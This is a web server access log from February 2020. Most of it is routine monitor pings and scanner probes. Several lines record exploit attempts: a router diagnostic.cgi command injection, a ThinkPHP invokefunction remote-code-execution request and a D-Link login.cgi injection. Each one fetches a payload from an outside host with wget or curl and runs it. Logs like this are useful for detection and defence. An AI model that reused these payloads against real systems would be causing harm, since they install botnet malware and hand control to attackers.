41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.151.6.191 - - [23/Feb/2020:15:36:34 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:15:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:39:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:40:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
24.54.165.49 - - [23/Feb/2020:15:43:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:15:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:44:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.180.224.249 - - [23/Feb/2020:15:45:15 +0100] "GET /cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=wget http://a.deadnig.ga/run.sh -O - | sh || curl http://a.deadnig.ga/run.sh -o - | sh;&ping_count=1&action=Apply&html_view=ping HTTP/1.1" 404 327 "-" "-"
212.91.246.72 - - [23/Feb/2020:15:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.19.184.152 - - [23/Feb/2020:15:47:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:15:48:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.251.35.124 - - [23/Feb/2020:15:52:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:15:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:15:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.88.255.162 - - [23/Feb/2020:15:57:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:15:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [23/Feb/2020:15:59:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:15:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [23/Feb/2020:15:59:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [23/Feb/2020:15:59:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [23/Feb/2020:16:00:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:16:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [23/Feb/2020:16:01:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:16:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.123.150.176 - - [23/Feb/2020:16:05:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:16:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [23/Feb/2020:16:06:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.121.22.98 - - [23/Feb/2020:16:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:16:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
74.218.101.90 - - [23/Feb/2020:16:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:16:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.53.149.157 - - [23/Feb/2020:16:12:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:16:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [23/Feb/2020:16:13:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:16:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.23.31.18 - - [23/Feb/2020:16:15:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [23/Feb/2020:16:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.230.17.72 - - [23/Feb/2020:16:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "ImplisenseBot 1.0"
212.91.246.72 - - [23/Feb/2020:16:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.102.26.4 - - [23/Feb/2020:16:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
194.180.224.249 - - [23/Feb/2020:16:33:19 +0100] "GET /cgi-bin/diagnostic.cgi?select_mode_ping=on&ping_ipaddr=wget http://a.deadnig.ga/run.sh -O - | sh || curl http://a.deadnig.ga/run.sh -o - | sh;&ping_count=1&action=Apply&html_view=ping HTTP/1.1" 404 327 "-" "-"
212.91.246.72 - - [23/Feb/2020:16:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.94.172 - - [23/Feb/2020:16:36:25 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.94.172 - - [23/Feb/2020:16:36:25 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.94.172 - - [23/Feb/2020:16:36:26 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.94.172 - - [23/Feb/2020:16:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [23/Feb/2020:16:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:16:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.217.177 - - [23/Feb/2020:16:41:08 +0100] "GET /vod_installer/.env HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:08 +0100] "GET /login/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:08 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:16:41:08 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
